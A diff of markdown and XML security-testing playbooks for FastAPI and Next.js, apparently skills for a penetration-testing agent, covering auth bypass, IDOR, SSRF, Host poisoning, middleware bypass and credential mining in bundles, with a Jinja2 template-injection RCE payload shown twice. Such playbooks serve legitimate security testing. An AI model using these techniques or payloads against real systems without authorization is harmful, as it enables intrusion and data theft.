- ProxyHeadersMiddleware: if enabled without network boundary, spoof `X-Forwarded-For/Proto` to influence auth/IP gating and secure redirects.
|
|
||||||
- TrustedHostMiddleware absent or lax: perform Host header poisoning; attempt password reset links / absolute URL generation under attacker host.
|
|
||||||
- Upstream/CDN cache keys: ensure Vary on Authorization/Cookie/Tenant; try cache key confusion to leak personalized responses.
|
|
||||||
</proxy_and_host_trust>
|
|
||||||
|
|
||||||
<static_and_uploads>
|
|
||||||
- UploadFile.filename: attempt path traversal and control characters; verify server joins/sanitizes and enforces storage roots.
|
|
||||||
- FileResponse/StaticFiles: confirm directory boundaries and index/auto-listing; probe symlinks and case/encoding variants.
|
|
||||||
- Parser differentials: send JSON vs multipart for the same route to hit divergent code paths/validators.
|
|
||||||
</static_and_uploads>
|
|
||||||
|
|
||||||
<template_injection>
|
|
||||||
- Jinja2 templates via `TemplateResponse`: search for unescaped injection in variables and filters. Probe with minimal expressions:
|
|
||||||
{% raw %}- `{{7*7}}` → arithmetic confirmation
|
|
||||||
- `{{cycler.__init__.__globals__['os'].popen('id').read()}}` for RCE in unsafe contexts{% endraw %}
|
|
||||||
- Confirm autoescape and strict sandboxing; inspect custom filters/globals.
|
|
||||||
</template_injection>
|
|
||||||
|
|
||||||
<ssrf_and_outbound>
|
|
||||||
- Endpoints fetching user-supplied URLs (imports, previews, webhooks validation): test loopback/RFC1918/IPv6, redirects, DNS rebinding, and header control.
|
|
||||||
- Library behavior (httpx/requests): examine redirect policy, header forwarding, and protocol support; try `file://`, `ftp://`, or gopher-like shims if custom clients are used.
|
|
||||||
</ssrf_and_outbound>
|
|
||||||
|
|
||||||
<websockets>
|
|
||||||
- Authenticate each connection (query/header/cookie). Attempt cross-origin handshakes and cookie-bearing WS from untrusted origins.
|
|
||||||
- Topic naming and authorization: if using user/tenant IDs in channels, subscribe/publish to foreign IDs.
|
|
||||||
- Message-level checks: ensure per-message authorization, not only at handshake.
|
|
||||||
</websockets>
|
|
||||||
|
|
||||||
<background_tasks_and_jobs>
|
|
||||||
- BackgroundTasks that act on IDs must re-enforce ownership/tenant at execution time. Attempt to fetch/cancel others’ jobs by referencing their IDs.
|
|
||||||
- Export/import pipelines: test job/result endpoints for IDOR and cross-tenant leaks.
|
|
||||||
</background_tasks_and_jobs>
|
|
||||||
|
|
||||||
<multi_app_mounting>
|
|
||||||
- Mounted subapps (e.g., `/admin`, `/static`, `/metrics`) may bypass global middlewares. Confirm middleware parity and auth on mounts.
|
|
||||||
</multi_app_mounting>
|
|
||||||
</advanced_techniques>
|
|
||||||
|
|
||||||
<bypass_techniques>
|
|
||||||
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data` to traverse alternate validators/handlers.
|
|
||||||
- Parameter duplication and case variants to exploit DI precedence.
|
|
||||||
- Method confusion via proxies (e.g., `X-HTTP-Method-Override`) if upstream respects it while app does not.
|
|
||||||
- Race windows around dependency-validated state transitions (issue token then mutate with parallel requests).
|
|
||||||
</bypass_techniques>
|
|
||||||
|
|
||||||
<special_contexts>
|
|
||||||
<pydantic_edges>
|
|
||||||
- Coercion: strings to ints/bools, empty strings to None; exploit truthiness and boundary conditions.
|
|
||||||
- Extra fields: if models allow/ignore extras, sneak in control fields for downstream logic (scope/role/ownerId) that are later trusted.
|
|
||||||
- Unions and `Annotated`: craft shapes hitting unintended branches.
|
|
||||||
</pydantic_edges>
|
|
||||||
|
|
||||||
<graphql_and_alt_stacks>
|
|
||||||
- If GraphQL (Strawberry/Graphene) is mounted, validate resolver-level authorization and IDOR on node/global IDs.
|
|
||||||
- If SQLModel/SQLAlchemy present, probe for raw query usage and row-level authorization gaps.
|
|
||||||
</graphql_and_alt_stacks>
|
|
||||||
</special_contexts>
|
|
||||||
|
|
||||||
<validation>
|
|
||||||
1. Show unauthorized data access or action with side-by-side owner vs non-owner requests (or different tenants).
|
|
||||||
2. Demonstrate cross-channel consistency (HTTP and WebSocket) for the same rule.
|
|
||||||
3. Include proof where proxies/headers/caches alter outcomes (Host/XFF/CORS).
|
|
||||||
4. Provide minimal payloads confirming template/SSRF execution or token misuse, with safe or OAST-based oracles.
|
|
||||||
5. Document exact dependency paths (router-level, route-level) that missed enforcement.
|
|
||||||
</validation>
|
|
||||||
|
|
||||||
<pro_tips>
|
|
||||||
1. Always fetch `/openapi.json` first; it’s the blueprint. If hidden, brute-force likely admin/report/export routes.
|
|
||||||
2. Trace dependencies per route; map which ones enforce auth/scopes vs merely parse input.
|
|
||||||
3. Treat tokens returned by `OAuth2PasswordBearer` as untrusted strings—verify actual signature and claims on the server.
|
|
||||||
4. Test CORS with arbitrary Origins and with credentials; verify preflight and actual request deltas.
|
|
||||||
5. Add Host and X-Forwarded-* fuzzing when behind proxies; watch for redirect/absolute URL differences.
|
|
||||||
6. For uploads, vary filename encodings, dot segments, and NUL-like bytes; verify storage paths and served URLs.
|
|
||||||
7. Use content-type toggling to hit alternate validators and code paths.
|
|
||||||
8. For WebSockets, test cookie-based auth, origin restrictions, and per-message authorization.
|
|
||||||
9. Mine client bundles/env for secret paths and preview/admin flags; many teams hide routes via UI only.
|
|
||||||
10. Keep PoCs minimal and durable (IDs, headers, small payloads) and prefer reproducible diffs over noisy payloads.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>Authorization and validation must be enforced in the dependency graph and at the resource boundary for every path and channel. If any route, middleware, or mount skips binding subject, action, and object/tenant, expect cross-user and cross-tenant breakage.</remember>
|
|
||||||
</fastapi_security_testing_guide>
|
|
||||||
191
strix/skills/frameworks/fastapi.md
Normal file
191
strix/skills/frameworks/fastapi.md
Normal file
@@ -0,0 +1,191 @@
|
|||||||
|
---
|
||||||
|
name: fastapi
|
||||||
|
description: Security testing playbook for FastAPI applications covering ASGI, dependency injection, and API vulnerabilities
|
||||||
|
---
|
||||||
|
|
||||||
|
# FastAPI
|
||||||
|
|
||||||
|
Security testing for FastAPI/Starlette applications. Focus on dependency injection flaws, middleware gaps, and authorization drift across routers and channels.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
|
**Core Components**
|
||||||
|
- ASGI middlewares: CORS, TrustedHost, ProxyHeaders, Session, exception handlers, lifespan events
|
||||||
|
- Routers and sub-apps: APIRouter prefixes/tags, mounted apps (StaticFiles, admin), `include_router`, versioned paths
|
||||||
|
- Dependency injection: `Depends`, `Security`, `OAuth2PasswordBearer`, `HTTPBearer`, scopes
|
||||||
|
|
||||||
|
**Data Handling**
|
||||||
|
- Pydantic models: v1/v2, unions/Annotated, custom validators, extra fields policy, coercion
|
||||||
|
- File operations: UploadFile, File, FileResponse, StaticFiles mounts
|
||||||
|
- Templates: Jinja2Templates rendering
|
||||||
|
|
||||||
|
**Channels**
|
||||||
|
- HTTP (sync/async), WebSocket, SSE/StreamingResponse
|
||||||
|
- BackgroundTasks and task queues
|
||||||
|
|
||||||
|
**Deployment**
|
||||||
|
- Uvicorn/Gunicorn, reverse proxies/CDN, TLS termination, header trust
|
||||||
|
|
||||||
|
## High-Value Targets
|
||||||
|
|
||||||
|
- `/openapi.json`, `/docs`, `/redoc` in production (full attack surface map, securitySchemes, server URLs)
|
||||||
|
- Auth flows: token endpoints, session/cookie bridges, OAuth device/PKCE
|
||||||
|
- Admin/staff routers, feature-flagged routes, `include_in_schema=False` endpoints
|
||||||
|
- File upload/download, import/export/report endpoints, signed URL generators
|
||||||
|
- WebSocket endpoints (notifications, admin channels, commands)
|
||||||
|
- Background job endpoints (`/jobs/{id}`, `/tasks/{id}/result`)
|
||||||
|
- Mounted subapps (admin UI, storage browsers, metrics/health)
|
||||||
|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
|
**OpenAPI Mining**
|
||||||
|
```
|
||||||
|
GET /openapi.json
|
||||||
|
GET /docs
|
||||||
|
GET /redoc
|
||||||
|
GET /api/openapi.json
|
||||||
|
GET /internal/openapi.json
|
||||||
|
```
|
||||||
|
|
||||||
|
Extract: paths, parameters, securitySchemes, scopes, servers. Endpoints with `include_in_schema=False` won't appear—fuzz based on discovered prefixes and common admin/debug names.
|
||||||
|
|
||||||
|
**Dependency Mapping**
|
||||||
|
|
||||||
|
For each route, identify:
|
||||||
|
- Router-level dependencies (applied to all routes)
|
||||||
|
- Route-level dependencies (per endpoint)
|
||||||
|
- Which dependencies enforce auth vs just parse input
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Authentication & Authorization
|
||||||
|
|
||||||
|
**Dependency Injection Gaps**
|
||||||
|
- Routes missing security dependencies present on other routes
|
||||||
|
- `Depends` used instead of `Security` (ignores scope enforcement)
|
||||||
|
- Token presence treated as authentication without signature verification
|
||||||
|
- `OAuth2PasswordBearer` only yields a token string—verify routes don't treat presence as auth
|
||||||
|
|
||||||
|
**JWT Misuse**
|
||||||
|
- Decode without verify: test unsigned tokens, attacker-signed tokens
|
||||||
|
- Algorithm confusion: HS256/RS256 cross-use if not pinned
|
||||||
|
- `kid` header injection for custom key lookup paths
|
||||||
|
- Missing issuer/audience validation, cross-service token reuse
|
||||||
|
|
||||||
|
**Session Weaknesses**
|
||||||
|
- SessionMiddleware with weak `secret_key`
|
||||||
|
- Session fixation via predictable signing
|
||||||
|
- Cookie-based auth without CSRF protection
|
||||||
|
|
||||||
|
**OAuth/OIDC**
|
||||||
|
- Device/PKCE flows: verify strict PKCE S256 and state/nonce enforcement
|
||||||
|
|
||||||
|
### Access Control
|
||||||
|
|
||||||
|
**IDOR via Dependencies**
|
||||||
|
- Object IDs in path/query not validated against caller
|
||||||
|
- Tenant headers trusted without binding to authenticated user
|
||||||
|
- BackgroundTasks acting on IDs without re-validating ownership at execution time
|
||||||
|
- Export/import pipelines with IDOR and cross-tenant leaks
|
||||||
|
|
||||||
|
**Scope Bypass**
|
||||||
|
- Minimal scope satisfaction (any valid token accepted)
|
||||||
|
- Router vs route scope enforcement inconsistency
|
||||||
|
|
||||||
|
### Input Handling
|
||||||
|
|
||||||
|
**Pydantic Exploitation**
|
||||||
|
- Type coercion: strings to ints/bools, empty strings to None, truthiness edge cases
|
||||||
|
- Extra fields: `extra = "allow"` permits injecting control fields (role, ownerId, scope)
|
||||||
|
- Union types and `Annotated`: craft shapes hitting unintended validation branches
|
||||||
|
|
||||||
|
**Content-Type Switching**
|
||||||
|
```
|
||||||
|
application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data
|
||||||
|
```
|
||||||
|
Different content types hit different validators or code paths (parser differentials).
|
||||||
|
|
||||||
|
**Parameter Manipulation**
|
||||||
|
- Case variations in header/cookie names
|
||||||
|
- Duplicate parameters exploiting DI precedence
|
||||||
|
- Method override via `X-HTTP-Method-Override` (upstream respects, app doesn't)
|
||||||
|
|
||||||
|
### CORS & CSRF
|
||||||
|
|
||||||
|
**CORS Misconfiguration**
|
||||||
|
- Overly broad `allow_origin_regex`
|
||||||
|
- Origin reflection without validation
|
||||||
|
- Credentialed requests with permissive origins
|
||||||
|
- Verify preflight vs actual request deltas
|
||||||
|
|
||||||
|
**CSRF Exposure**
|
||||||
|
- No built-in CSRF in FastAPI/Starlette
|
||||||
|
- Cookie-based auth without origin validation
|
||||||
|
- Missing SameSite attribute
|
||||||
|
|
||||||
|
### Proxy & Host Trust
|
||||||
|
|
||||||
|
**Header Spoofing**
|
||||||
|
- ProxyHeadersMiddleware without network boundary: spoof `X-Forwarded-For/Proto` to influence auth/IP gating
|
||||||
|
- Absent TrustedHostMiddleware: Host header poisoning in password reset links, absolute URL generation
|
||||||
|
- Cache key confusion: missing Vary on Authorization/Cookie/Tenant
|
||||||
|
|
||||||
|
### Server-Side Vulnerabilities
|
||||||
|
|
||||||
|
**Template Injection (Jinja2)**
|
||||||
|
```python
|
||||||
|
{{7*7}} # Arithmetic confirmation
|
||||||
|
{{cycler.__init__.__globals__['os'].popen('id').read()}} # RCE
|
||||||
|
```
|
||||||
|
Check autoescape settings and custom filters/globals.
|
||||||
|
|
||||||
|
**SSRF**
|
||||||
|
- User-supplied URLs in imports, previews, webhooks validation
|
||||||
|
- Test: loopback, RFC1918, IPv6, redirects, DNS rebinding, header control
|
||||||
|
- Library behavior (httpx/requests): redirect policy, header forwarding, protocol support
|
||||||
|
- Protocol smuggling: `file://`, `ftp://`, gopher-like shims if custom clients
|
||||||
|
|
||||||
|
**File Upload**
|
||||||
|
- Path traversal in `UploadFile.filename` with control characters
|
||||||
|
- Missing storage root enforcement, symlink following
|
||||||
|
- Vary filename encodings, dot segments, NUL-like bytes
|
||||||
|
- Verify storage paths and served URLs
|
||||||
|
|
||||||
|
### WebSocket Security
|
||||||
|
|
||||||
|
- Missing per-connection authentication
|
||||||
|
- Cross-origin WebSocket without origin validation
|
||||||
|
- Topic/channel IDOR (subscribing to other users' channels)
|
||||||
|
- Authorization only at handshake, not per-message
|
||||||
|
|
||||||
|
### Mounted Apps
|
||||||
|
|
||||||
|
Sub-apps at `/admin`, `/static`, `/metrics` may bypass global middlewares. Verify auth enforcement parity across all mounts.
|
||||||
|
|
||||||
|
### Alternative Stacks
|
||||||
|
|
||||||
|
- If GraphQL (Strawberry/Graphene) is mounted: validate resolver-level authorization, IDOR on node/global IDs
|
||||||
|
- If SQLModel/SQLAlchemy present: probe for raw query usage and row-level authorization gaps
|
||||||
|
|
||||||
|
## Bypass Techniques
|
||||||
|
|
||||||
|
- Content-type switching to traverse alternate validators
|
||||||
|
- Parameter duplication and case variants exploiting DI precedence
|
||||||
|
- Method confusion via proxies (`X-HTTP-Method-Override`)
|
||||||
|
- Race windows around dependency-validated state transitions (issue token then mutate with parallel requests)
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Enumerate** - Fetch OpenAPI, diff with 404-fuzzing for hidden endpoints
|
||||||
|
2. **Matrix testing** - Test each route across: unauth/user/admin × HTTP/WebSocket × JSON/form/multipart
|
||||||
|
3. **Dependency analysis** - Map which dependencies enforce auth vs parse input
|
||||||
|
4. **Cross-environment** - Compare dev/stage/prod for middleware and docs exposure differences
|
||||||
|
5. **Channel consistency** - Verify same authorization on HTTP and WebSocket for equivalent operations
|
||||||
|
|
||||||
|
## Validation Requirements
|
||||||
|
|
||||||
|
- Side-by-side requests showing unauthorized access (owner vs non-owner, cross-tenant)
|
||||||
|
- Cross-channel proof (HTTP and WebSocket for same rule)
|
||||||
|
- Header/proxy manipulation showing altered outcomes (Host/XFF/CORS)
|
||||||
|
- Minimal payloads for template injection, SSRF, token misuse with safe/OAST oracles
|
||||||
|
- Document exact dependency paths (router-level, route-level) that missed enforcement
|
||||||
@@ -1,152 +0,0 @@
|
|||||||
<nextjs_security_testing_guide>
|
|
||||||
<title>NEXT.JS — ADVERSARIAL TESTING PLAYBOOK</title>
|
|
||||||
|
|
||||||
<critical>Modern Next.js combines multiple execution contexts (Edge, Node, RSC, client) with smart caching (ISR/RSC fetch cache), middleware, and server actions. Authorization and cache boundaries must be enforced consistently across all paths or attackers will cross tenants, leak data, or invoke privileged actions.</critical>
|
|
||||||
|
|
||||||
<surface_map>
|
|
||||||
- Routers: App Router (`app/`) and Pages Router (`pages/`) coexist; test both
|
|
||||||
- Runtimes: Node.js vs Edge (V8 isolates with restricted APIs)
|
|
||||||
- Data paths: RSC (server components), Client components, Route Handlers (`app/api/**`), API routes (`pages/api/**`)
|
|
||||||
- Middleware: `middleware.ts`/`_middleware.ts`
|
|
||||||
- Rendering modes: SSR, SSG, ISR, on-demand revalidation, draft/preview mode
|
|
||||||
- Images: `next/image` optimization and remote loader
|
|
||||||
- Auth: NextAuth.js (callbacks, CSRF/state, callbackUrl), custom JWT/session bridges
|
|
||||||
- Server Actions: streamed POST with `Next-Action` header and action IDs
|
|
||||||
</surface_map>
|
|
||||||
|
|
||||||
<methodology>
|
|
||||||
1. Inventory routes (pages + app), static vs dynamic segments, and params. Map middleware coverage and runtime per path.
|
|
||||||
2. Capture baseline for each role (unauth, user, admin) across SSR, API routes, Route Handlers, Server Actions, and streaming data.
|
|
||||||
3. Diff responses while toggling runtime (Edge/Node), content-type, fetch cache directives, and preview/draft mode.
|
|
||||||
4. Probe caching and revalidation boundaries (ISR, RSC fetch, CDN) for cross-user/tenant leaks.
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<high_value_targets>
|
|
||||||
- Middleware-protected routes (auth, geo, A/B)
|
|
||||||
- Admin/staff paths, draft/preview content, on-demand revalidate endpoints
|
|
||||||
- RSC payloads and flight data, streamed responses (server actions)
|
|
||||||
- Image optimizer and custom loaders, remotePatterns/domains
|
|
||||||
- NextAuth callbacks (`/api/auth/callback/*`), sign-in providers, CSRF/state handling
|
|
||||||
- Edge-only features (bot protection, IP gates) and their Node equivalents
|
|
||||||
</high_value_targets>
|
|
||||||
|
|
||||||
<advanced_techniques>
|
|
||||||
<route_enumeration>
|
|
||||||
- __BUILD_MANIFEST.sortedPages: Execute `console.log(__BUILD_MANIFEST.sortedPages.join('\n'))` in browser console to instantly reveal all registered routes (Pages Router and static App Router paths compiled at build time)
|
|
||||||
- __NEXT_DATA__: Inspect `<script id="__NEXT_DATA__">` for serverside props, pageProps, buildId, and dynamic route params on current page; reveals data flow and prop structure
|
|
||||||
- Source maps exposure: Check `/_next/static/` for exposed .map files revealing full route structure, server action IDs, API endpoints, and internal function names
|
|
||||||
- Client bundle mining: Search main-*.js and page chunks for route definitions; grep for 'pathname:', 'href:', '__next_route__', 'serverActions', and API endpoint strings
|
|
||||||
- Static chunk enumeration: Probe `/_next/static/chunks/pages/` and `/_next/static/chunks/app/` for build artifacts; filenames map directly to routes (e.g., `admin.js` → `/admin`)
|
|
||||||
- Build manifest fetch: GET `/_next/static/<buildId>/_buildManifest.js` and `/_next/static/<buildId>/_ssgManifest.js` for complete route and static generation metadata
|
|
||||||
- Sitemap/robots leakage: Check `/sitemap.xml`, `/robots.txt`, and `/sitemap-*.xml` for unintended exposure of admin/internal/preview paths
|
|
||||||
- Server action discovery: Inspect Network tab for POST requests with `Next-Action` header; extract action IDs from response streams and client hydration data
|
|
||||||
- Environment variable leakage: Execute `Object.keys(process.env).filter(k => k.startsWith('NEXT_PUBLIC_'))` in console to list public env vars; grep bundles for 'API_KEY', 'SECRET', 'TOKEN', 'PASSWORD' to find accidentally leaked credentials
|
|
||||||
</route_enumeration>
|
|
||||||
|
|
||||||
<middleware_bypass>
|
|
||||||
- Test for CVE-class middleware bypass via `x-middleware-subrequest` crafting and `x-nextjs-data` probing. Look for 307 + `x-middleware-rewrite`/`x-nextjs-redirect` headers and attempt bypass on protected routes.
|
|
||||||
- Attempt direct route access on Node vs Edge runtimes; confirm protection parity.
|
|
||||||
</middleware_bypass>
|
|
||||||
|
|
||||||
<server_actions>
|
|
||||||
- Capture streamed POSTs containing `Next-Action` headers. Map hashed action IDs via source maps or specialized tooling to discover hidden actions.
|
|
||||||
- Invoke actions out of UI flow and with alternate content-types; verify server-side authorization is enforced per action and not assumed from client state.
|
|
||||||
- Try cross-tenant/object references within action payloads to expose BOLA/IDOR via server actions.
|
|
||||||
</server_actions>
|
|
||||||
|
|
||||||
<rsc_and_cache>
|
|
||||||
- RSC fetch cache: probe `fetch` cache modes (force-cache, default, no-store) and revalidate tags/paths. Look for user-bound data cached without identity keys (ETag/Set-Cookie unaware).
|
|
||||||
- Confirm that personalized data is rendered via `no-store` or properly keyed; attempt cross-user content via shared caches/CDN.
|
|
||||||
- Inspect Flight data streams for serialized sensitive fields leaking through props.
|
|
||||||
</rsc_and_cache>
|
|
||||||
|
|
||||||
<isr_and_revalidation>
|
|
||||||
- Identify ISR pages (stale-while-revalidate). Check if responses may include user-bound fragments or tenant-dependent content.
|
|
||||||
- On-demand revalidation endpoints: look for weak secrets in URLs, referer-disclosed tokens, or unvalidated hosts triggering `revalidatePath`/`revalidateTag`.
|
|
||||||
- Attempt header-smuggling or method variations to trigger revalidation flows.
|
|
||||||
</isr_and_revalidation>
|
|
||||||
|
|
||||||
<draft_preview_mode>
|
|
||||||
- Draft/preview mode toggles via secret URLs/cookies; search for preview enable endpoints and secrets in client bundles/env leaks.
|
|
||||||
- Try setting preview cookies from subdomains, alternate paths, or through open redirects; observe content differences and persistence.
|
|
||||||
</draft_preview_mode>
|
|
||||||
|
|
||||||
<next_image_ssrf>
|
|
||||||
- Review `images.domains`/`remotePatterns` in `next.config.js`; test SSRF to internal hosts (IPv4/IPv6 variants, DNS rebinding) if patterns are broad.
|
|
||||||
- Custom loader functions may fetch with arbitrary URLs; test protocol smuggling and redirection chains.
|
|
||||||
- Attempt cache poisoning: craft same URL with different normalization to affect other users.
|
|
||||||
</next_image_ssrf>
|
|
||||||
|
|
||||||
<nextauth_pitfalls>
|
|
||||||
- State/nonce/PKCE: validate per-provider correctness; attempt missing/relaxed checks leading to login CSRF or token mix-up.
|
|
||||||
- Callback URL restrictions: open redirect in `callbackUrl` or mis-scoped allowed hosts; hijack sessions by forcing callbacks.
|
|
||||||
- JWT/session bridges: audience/issuer not enforced across API routes/Route Handlers; attempt cross-service token reuse.
|
|
||||||
</nextauth_pitfalls>
|
|
||||||
|
|
||||||
<edge_runtime_diffs>
|
|
||||||
- Edge runtime lacks certain Node APIs; defenses relying on Node-only modules may be skipped. Compare behavior of the same route in Edge vs Node.
|
|
||||||
- Header trust and IP determination can differ at the edge; test auth decisions tied to `x-forwarded-*` variance.
|
|
||||||
</edge_runtime_diffs>
|
|
||||||
|
|
||||||
<client_and_dom>
|
|
||||||
- Identify `dangerouslySetInnerHTML`, Markdown renderers, and user-controlled href/src attributes. Validate CSP/Trusted Types coverage for SSR/CSR/hydration.
|
|
||||||
- Attack hydration boundaries: server vs client render mismatches can enable gadget-based XSS.
|
|
||||||
</client_and_dom>
|
|
||||||
|
|
||||||
<data_fetching_over_exposure>
|
|
||||||
- getServerSideProps/getStaticProps leakage: Execute `JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props.pageProps` in console to inspect all server-fetched data; look for sensitive fields (emails, tokens, internal IDs, full user objects) passed to client but not rendered in UI
|
|
||||||
- Over-fetched database queries: Check if pageProps include entire user records, relations, or admin-only fields when only username is displayed; common when using ORM select-all patterns
|
|
||||||
- API response pass-through: Verify if API responses are sanitized before passing to props; developers often forward entire responses including metadata, cursors, or debug info
|
|
||||||
- Environment-dependent data: Test if staging/dev accidentally exposes more fields in props than production due to inconsistent serialization logic
|
|
||||||
- Nested object inspection: Drill into nested props objects; look for `_metadata`, `_internal`, `__typename` (GraphQL), or framework-added fields containing sensitive context
|
|
||||||
</data_fetching_over_exposure>
|
|
||||||
</advanced_techniques>
|
|
||||||
|
|
||||||
<bypass_techniques>
|
|
||||||
- Content-type switching: `application/json` ↔ `multipart/form-data` ↔ `application/x-www-form-urlencoded` to traverse alternate code paths.
|
|
||||||
- Method override/tunneling: `_method`, `X-HTTP-Method-Override`, GET on endpoints unexpectedly accepting writes.
|
|
||||||
- Case/param aliasing and query duplication affecting middleware vs handler parsing.
|
|
||||||
- Cache key confusion at CDN/proxy (lack of Vary on auth cookies/headers) to leak personalized SSR/ISR content.
|
|
||||||
- API route path normalization: Test `/api/users` vs `/api/users/` vs `/api//users` vs `/api/./users`; middleware may normalize differently than route handlers, allowing protection bypass. Try double slashes, trailing slashes, and dot segments.
|
|
||||||
- Parameter pollution: Send duplicate query params (`?id=1&id=2`) or array notation (`?filter[]=a&filter[]=b`) to exploit parsing differences between middleware (which may check first value) and handler (which may use last or array).
|
|
||||||
</bypass_techniques>
|
|
||||||
|
|
||||||
<special_contexts>
|
|
||||||
<uploads_and_files>
|
|
||||||
- API routes and Route Handlers handling file uploads: check MIME sniffing, Content-Disposition, stored path traversal, and public serving of user files.
|
|
||||||
- Validate signing/scoping of any generated file URLs (short TTL, audience-bound).
|
|
||||||
</uploads_and_files>
|
|
||||||
|
|
||||||
<integrations_and_webhooks>
|
|
||||||
- Webhooks that trigger revalidation/imports: require HMAC verification; test with replay and cross-tenant object IDs.
|
|
||||||
- Analytics/AB testing flags controlled via cookies/headers; ensure they do not unlock privileged server paths.
|
|
||||||
</integrations_and_webhooks>
|
|
||||||
</special_contexts>
|
|
||||||
|
|
||||||
<validation>
|
|
||||||
1. Provide side-by-side requests for different principals showing cross-user/tenant content or actions.
|
|
||||||
2. Prove cache boundary failure (RSC/ISR/CDN) with response diffs or ETag collisions.
|
|
||||||
3. Demonstrate server action invocation outside UI with insufficient authorization checks.
|
|
||||||
4. Show middleware bypass (where applicable) with explicit headers and resulting protected content.
|
|
||||||
5. Include runtime parity checks (Edge vs Node) proving inconsistent enforcement.
|
|
||||||
6. For route enumeration: verify discovered routes return 200/403 (deployed) not 404 (build artifacts); test with authenticated vs unauthenticated requests.
|
|
||||||
7. For leaked credentials: test API keys with minimal read-only calls; filter placeholders (YOUR_API_KEY, demo-token); confirm keys match provider patterns (sk_live_*, pk_prod_*).
|
|
||||||
8. For __NEXT_DATA__ over-exposure: test cross-user (User A's props should not contain User B's PII); verify exposed fields are not in DOM; validate token validity with API calls.
|
|
||||||
9. For path normalization bypasses: show differential responses (403 vs 200 for path variants); redirects (307/308) don't count—only direct access bypasses matter.
|
|
||||||
</validation>
|
|
||||||
|
|
||||||
<pro_tips>
|
|
||||||
1. Enumerate with both App and Pages routers: many apps ship a hybrid surface.
|
|
||||||
2. Treat caching as an identity boundary—test with cookies stripped, altered, and with Vary/ETag diffs.
|
|
||||||
3. Decode client bundles for preview/revalidate secrets, action IDs, and hidden routes.
|
|
||||||
4. Use streaming-aware tooling to capture server actions and RSC payloads; diff flight data.
|
|
||||||
5. For NextAuth, fuzz provider params (state, nonce, scope, callbackUrl) and verify strictness.
|
|
||||||
6. Always retest under Edge and Node; misconfigurations often exist in only one runtime.
|
|
||||||
7. Probe `next/image` aggressively but safely—test IPv6/obscure encodings and redirect behavior.
|
|
||||||
8. Validate negative paths: other-user IDs, other-tenant headers/subdomains, lower roles.
|
|
||||||
9. Focus on export/report/download endpoints; they often bypass resolver-level checks.
|
|
||||||
10. Document minimal, reproducible PoCs; avoid noisy payloads—prefer precise diffs.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>Next.js security breaks where identity, authorization, and caching diverge across routers, runtimes, and data paths. Bind subject, action, and object on every path, and key caches to identity and tenant explicitly.</remember>
|
|
||||||
</nextjs_security_testing_guide>
|
|
||||||
228
strix/skills/frameworks/nextjs.md
Normal file
228
strix/skills/frameworks/nextjs.md
Normal file
@@ -0,0 +1,228 @@
|
|||||||
|
---
|
||||||
|
name: nextjs
|
||||||
|
description: Security testing playbook for Next.js covering App Router, Server Actions, RSC, and Edge runtime vulnerabilities
|
||||||
|
---
|
||||||
|
|
||||||
|
# Next.js
|
||||||
|
|
||||||
|
Security testing for Next.js applications. Focus on authorization drift across runtimes (Edge/Node), caching boundaries, server actions, and middleware bypass.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
|
**Routers**
|
||||||
|
- App Router (`app/`) and Pages Router (`pages/`) often coexist
|
||||||
|
- Route Handlers (`app/api/**`) and API routes (`pages/api/**`)
|
||||||
|
- Middleware: `middleware.ts` at project root
|
||||||
|
|
||||||
|
**Runtimes**
|
||||||
|
- Node.js (full API access)
|
||||||
|
- Edge (V8 isolates, restricted APIs)
|
||||||
|
|
||||||
|
**Rendering & Caching**
|
||||||
|
- SSR, SSG, ISR, on-demand revalidation
|
||||||
|
- RSC (React Server Components) with fetch cache
|
||||||
|
- Draft/preview mode
|
||||||
|
|
||||||
|
**Data Paths**
|
||||||
|
- Server Components, Client Components
|
||||||
|
- Server Actions (streamed POST with `Next-Action` header)
|
||||||
|
- `getServerSideProps`, `getStaticProps`
|
||||||
|
|
||||||
|
**Integrations**
|
||||||
|
- NextAuth.js (callbacks, CSRF, callbackUrl)
|
||||||
|
- `next/image` optimization and remote loaders
|
||||||
|
|
||||||
|
## High-Value Targets
|
||||||
|
|
||||||
|
- Middleware-protected routes (auth, geo, A/B)
|
||||||
|
- Admin/staff paths, draft/preview content, on-demand revalidate endpoints
|
||||||
|
- RSC payloads and flight data, streamed responses
|
||||||
|
- Image optimizer and custom loaders, remotePatterns/domains
|
||||||
|
- NextAuth callbacks (`/api/auth/callback/*`), sign-in providers
|
||||||
|
- Edge-only features (bot protection, IP gates) and their Node equivalents
|
||||||
|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
|
**Route Discovery**
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
// Browser console - list all routes
|
||||||
|
console.log(__BUILD_MANIFEST.sortedPages.join('\n'))
|
||||||
|
|
||||||
|
// Inspect server-fetched data
|
||||||
|
JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props.pageProps
|
||||||
|
|
||||||
|
// List public environment variables
|
||||||
|
Object.keys(process.env).filter(k => k.startsWith('NEXT_PUBLIC_'))
|
||||||
|
```
|
||||||
|
|
||||||
|
**Build Artifacts**
|
||||||
|
```
|
||||||
|
GET /_next/static/<buildId>/_buildManifest.js
|
||||||
|
GET /_next/static/<buildId>/_ssgManifest.js
|
||||||
|
GET /_next/static/chunks/pages/
|
||||||
|
GET /_next/static/chunks/app/
|
||||||
|
```
|
||||||
|
Chunk filenames map to routes (e.g., `admin.js` → `/admin`).
|
||||||
|
|
||||||
|
**Source Maps**
|
||||||
|
|
||||||
|
Check `/_next/static/` for exposed `.map` files revealing route structure, server action IDs, and internal functions.
|
||||||
|
|
||||||
|
**Client Bundle Mining**
|
||||||
|
|
||||||
|
Search main-*.js for: `pathname:`, `href:`, `__next_route__`, `serverActions`, API endpoints. Grep for `API_KEY`, `SECRET`, `TOKEN`, `PASSWORD` to find accidentally leaked credentials.
|
||||||
|
|
||||||
|
**Server Action Discovery**
|
||||||
|
|
||||||
|
